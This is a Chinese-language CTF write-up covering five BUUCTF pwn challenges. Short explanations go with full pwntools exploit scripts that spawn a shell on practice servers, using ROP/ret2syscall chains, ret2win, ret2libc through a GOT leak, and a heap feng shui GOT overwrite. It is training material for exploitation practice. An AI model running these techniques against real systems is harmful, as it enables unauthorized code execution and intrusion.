BUUCTF pwn wp 41 - 45

cmcc_simplerop

BUUCTF pwn wp 41 - 45_第1张图片

BUUCTF pwn wp 41 - 45_第2张图片

BUUCTF pwn wp 41 - 45_第3张图片
ret2syscall

参考 https://rninche01.tistory.com/entry/Linux-system-call-table-%EC%A0%95%EB%A6%ACx86-x64

BUUCTF pwn wp 41 - 45_第4张图片
构造rop执行
read(0, bss_addr, 8) 读取 /bin/sh\x00
execve(bss_addr, 0, 0) get shell

这里有个坑点, v4到ebp的距离不是IDA显示的那样, 需要调试确定, 发现偏移是0x1c

在这里插入图片描述

from pwn import *

url, port = "node4.buuoj.cn", 26884
filename = "./simplerop"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    pop_edx_ecx_ebx_addr = 0x0806e850
    pop_eax_addr = 0x080bae06
    read_addr= 0x0806CD50
    int_80_addr = 0x080493e1
    bss_addr = elf.bss()

    payload = cyclic(0x1c + 4) + p32(read_addr) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(bss_addr)
    payload += p32(8) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(bss_addr)
    payload += p32(pop_eax_addr) + p32(0xb) + p32(int_80_addr)

    # B()
    io.sendline(payload)
    io.send(b"/bin/sh\x00")

if __name__ == "__main__":
    pwn()
    io.interactive()

解释一下我一开始不太理解的payload
cyclic(0x1c + 4) + p32(read_addr) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(bss_addr) + p32(8)
这里我按照read也用系统调用的思路去理解了, 结果绕进了思维误区, 浪费了一些时间, 其实这里的pop3次不是用来设置寄存器的, 而是弹出read的三个参数, read函数隔一个返回地址, 后三个数据是参数, 0, bss_addr, 8即对应read(0, bss_addr, 8)

picoctf_2018_buffer overflow 2

BUUCTF pwn wp 41 - 45_第5张图片
在这里插入图片描述
绕过一下条件判断

from pwn import *

url, port = "node4.buuoj.cn", 25760
filename = "./PicoCTF_2018_buffer_overflow_2"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    win_addr = elf.sym["win"]
    main_addr = elf.sym["main"]
    payload = cyclic(0x6C + 4) + p32(win_addr) + p32(main_addr) + p32(0xDEADBEEF) + p32(0xDEADC0DE)
    io.sendafter("string: \n", payload)

if __name__ == "__main__":
    pwn()
    io.interactive()

inndy_rop

BUUCTF pwn wp 41 - 45_第6张图片
BUUCTF pwn wp 41 - 45_第7张图片

ret2syscall, 跟上面的cmcc_simplerop没有本质区别

from pwn import *

url, port = "node4.buuoj.cn", 28674
filename = "./rop"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    pop_edx_ecx_ebx_addr = 0x0806ed00
    pop_eax_addr = 0x080b8016
    read_addr= elf.sym["read"]
    int_80_addr = 0x0806c943
    bss_addr = elf.bss()

    payload = cyclic(0xC + 4) + p32(read_addr) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(bss_addr)
    payload += p32(8) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(bss_addr)
    payload += p32(pop_eax_addr) + p32(0xb) + p32(int_80_addr)

    # B()
    io.sendline(payload)
    io.send(b"/bin/sh\x00")

if __name__ == "__main__":
    pwn()
    io.interactive()

xdctf2015_pwn200

BUUCTF pwn wp 41 - 45_第8张图片
BUUCTF pwn wp 41 - 45_第9张图片

BUUCTF pwn wp 41 - 45_第10张图片

泄露libc, ret2libc

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 28294
filename = "./bof"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    write_plt = elf.plt["write"]
    write_got = elf.got["write"]
    main_addr = elf.sym["main"]

    payload = cyclic(0x6C + 4) + p32(write_plt) + p32(main_addr) 
    payload += p32(1) + p32(write_got) + p32(4)
    io.sendafter("XDCTF2015~!\n", payload)
    write_addr = u32(io.recv(4))

    libc = LibcSearcher("write", write_addr)
    libc_base = write_addr - libc.dump("write")
    system_addr = libc_base + libc.dump("system") 
    binsh_addr = libc_base + libc.dump("str_bin_sh")

    payload = cyclic(0x6C + 4) + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
    io.sendafter("XDCTF2015~!\n", payload)

if __name__ == "__main__":
    pwn()
    io.interactive()

babyfengshui_33c3_2016

BUUCTF pwn wp 41 - 45_第11张图片

BUUCTF pwn wp 41 - 45_第12张图片

结构体

struct user{
	char *description;
	char name[0x7C];
}

BUUCTF pwn wp 41 - 45_第13张图片
BUUCTF pwn wp 41 - 45_第14张图片

Update, 检测修改的description长度是否超过name的起始地址, 这里是有逻辑问题的, 可以堆风水绕过长度检测, 然后通过修改description指针到got表, 泄露libc, 修改got表劫持程序流, get shell

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 26233 
filename = "./babyfengshui_33c3_2016"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def Add(size, length, text):
	io.sendlineafter("Action: ", '0')
	io.sendlineafter("description: ", str(size))
	io.sendlineafter("name: ", 'falca')
	io.sendlineafter("length: ", str(length))
	io.sendlineafter("text: ", text)

def Delete(index):
	io.sendlineafter("Action: ", '1')
	io.sendlineafter("index: ", str(index))

def Display(index):
	io.sendlineafter("Action: ", '2')
	io.sendlineafter("index: ", str(index))

def Update(index, length, text):
	io.sendlineafter("Action: ", '3')
	io.sendlineafter("index: ", str(index))
	io.sendlineafter("length: ", str(length))
	io.sendlineafter("text: ", text)

def pwn():
    free_got = elf.got["free"]

    Add(0x80, 0x80, "chunk0")
    Add(0x80, 0x80, "chunk1")
    Add(0x8, 0x8, "/bin/sh\x00")
    Delete(0)

    payload = cyclic(0x198) + p32(free_got)
    Add(0x100, 0x19C, payload)
    Display(1)
    io.recvuntil("description: ")
    free_addr = u32(io.recv(4))

    libc = LibcSearcher("free", free_addr)
    libc_base = free_addr - libc.dump("free")
    system_addr = libc_base + libc.dump("system")

    Update(1, 4, p32(system_addr))
    Delete(2)

if __name__ == "__main__":
    pwn()
    io.interactive()

你可能感兴趣的:(PWN,pwn)